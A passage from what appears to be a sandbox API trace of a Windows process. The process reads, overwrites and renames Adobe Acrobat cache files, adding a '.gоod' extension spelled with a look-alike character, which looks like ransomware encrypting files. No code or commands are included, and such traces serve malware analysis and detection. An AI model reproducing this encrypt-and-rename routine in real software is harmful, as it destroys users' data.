cAlternateFileName="")) returned 1 [0141.400] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd780dd5d, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7812b7f, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 0 [0141.400] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0141.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0141.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", lpFilePart=0x0) returned 0x43 [0141.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0141.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0"), fInfoLevelId=0x0, lpFileInformation=0x39b32e8 | out: lpFileInformation=0x39b32e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd781529a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd781529a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd781529a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0141.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0141.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", lpFilePart=0x0) returned 0x43 [0141.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0141.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0141.401] GetFileType (hFile=0x644) returned 0x1 [0141.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0141.401] GetFileType (hFile=0x644) returned 0x1 [0141.401] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0141.401] ReadFile (in: hFile=0x644, lpBuffer=0x39b4130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x39b4130*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0141.403] CloseHandle (hObject=0x644) returned 1 [0141.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", lpFilePart=0x0) returned 0x43 [0141.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0141.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0141.403] GetFileType (hFile=0x644) returned 0x1 [0141.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0141.404] GetFileType (hFile=0x644) returned 0x1 [0141.404] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x2000 [0141.404] WriteFile (in: hFile=0x644, lpBuffer=0x39b8e40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x39b8e40*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0141.404] CloseHandle (hObject=0x644) returned 1 [0141.404] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", lpFilePart=0x0) returned 0x43 [0141.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0141.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0141.404] GetFileType (hFile=0x644) returned 0x1 [0141.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0141.404] GetFileType (hFile=0x644) returned 0x1 [0141.404] ReadFile (in: hFile=0x644, lpBuffer=0x39bb0e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x39bb0e8*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0141.771] CloseHandle (hObject=0x644) returned 1 [0141.771] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", lpFilePart=0x0) returned 0x43 [0141.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0141.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0141.771] GetFileType (hFile=0x644) returned 0x1 [0141.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0141.771] GetFileType (hFile=0x644) returned 0x1 [0141.771] WriteFile (in: hFile=0x644, lpBuffer=0x36562b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x36562b0*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0141.771] CloseHandle (hObject=0x644) returned 1 [0141.771] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", lpFilePart=0x0) returned 0x43 [0141.771] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0.gоod", lpFilePart=0x0) returned 0x48 [0141.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0141.771] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd781529a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd781529a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x50b6516c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2010)) returned 1 [0141.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0141.771] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_0.gоod")) returned 1 [0141.772] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", lpFilePart=0x0) returned 0x43 [0141.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0141.772] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1"), fInfoLevelId=0x0, lpFileInformation=0x39afe80 | out: lpFileInformation=0x39afe80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78179b2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78179b2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8c1e26a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x42000)) returned 1 [0141.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0141.772] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", lpFilePart=0x0) returned 0x43 [0141.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0141.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0141.773] GetFileType (hFile=0x644) returned 0x1 [0141.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0141.773] GetFileType (hFile=0x644) returned 0x1 [0141.773] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0141.773] ReadFile (in: hFile=0x644, lpBuffer=0x39b0268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x39b0268*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0142.071] CloseHandle (hObject=0x644) returned 1 [0142.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", lpFilePart=0x0) returned 0x43 [0142.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0142.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0142.071] GetFileType (hFile=0x644) returned 0x1 [0142.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0142.071] GetFileType (hFile=0x644) returned 0x1 [0142.071] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x42000 [0142.071] WriteFile (in: hFile=0x644, lpBuffer=0x3a1b7c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x3a1b7c0*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0142.073] CloseHandle (hObject=0x644) returned 1 [0142.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", lpFilePart=0x0) returned 0x43 [0142.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0142.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0142.074] GetFileType (hFile=0x644) returned 0x1 [0142.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0142.074] GetFileType (hFile=0x644) returned 0x1 [0142.074] ReadFile (in: hFile=0x644, lpBuffer=0x3a1da68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x3a1da68*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0142.338] CloseHandle (hObject=0x644) returned 1 [0142.338] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", lpFilePart=0x0) returned 0x43 [0142.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0142.338] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0142.338] GetFileType (hFile=0x644) returned 0x1 [0142.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0142.338] GetFileType (hFile=0x644) returned 0x1 [0142.338] WriteFile (in: hFile=0x644, lpBuffer=0x3757200*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x3757200*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0142.339] CloseHandle (hObject=0x644) returned 1 [0142.339] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", lpFilePart=0x0) returned 0x43 [0142.339] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1.gоod", lpFilePart=0x0) returned 0x48 [0142.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0142.339] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78179b2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78179b2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x510e890d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x42010)) returned 1 [0142.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0142.339] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_1.gоod")) returned 1 [0142.376] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", lpFilePart=0x0) returned 0x43 [0142.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0142.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2"), fInfoLevelId=0x0, lpFileInformation=0x3a13b40 | out: lpFileInformation=0x3a13b40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78215d4, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78215d4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd78215d4, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0142.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0142.376] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", lpFilePart=0x0) returned 0x43 [0142.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0142.376] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0142.376] GetFileType (hFile=0x644) returned 0x1 [0142.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0142.377] GetFileType (hFile=0x644) returned 0x1 [0142.377] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0142.377] ReadFile (in: hFile=0x644, lpBuffer=0x3a13f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x3a13f28*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0142.410] CloseHandle (hObject=0x644) returned 1 [0142.410] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", lpFilePart=0x0) returned 0x43 [0142.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0142.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0142.410] GetFileType (hFile=0x644) returned 0x1 [0142.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0142.410] GetFileType (hFile=0x644) returned 0x1 [0142.410] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x2000 [0142.410] WriteFile (in: hFile=0x644, lpBuffer=0x3a902e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x3a902e8*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0142.410] CloseHandle (hObject=0x644) returned 1 [0142.410] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", lpFilePart=0x0) returned 0x43 [0142.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0142.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0142.411] GetFileType (hFile=0x644) returned 0x1 [0142.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0142.411] GetFileType (hFile=0x644) returned 0x1 [0142.411] ReadFile (in: hFile=0x644, lpBuffer=0x3a92590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x3a92590*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0142.491] CloseHandle (hObject=0x644) returned 1 [0142.491] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", lpFilePart=0x0) returned 0x43 [0142.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0142.491] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0142.491] GetFileType (hFile=0x644) returned 0x1 [0142.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0142.491] GetFileType (hFile=0x644) returned 0x1 [0142.491] WriteFile (in: hFile=0x644, lpBuffer=0x3a91300*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x3a91300*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0142.492] CloseHandle (hObject=0x644) returned 1 [0142.492] GetFullPathNameW (in: 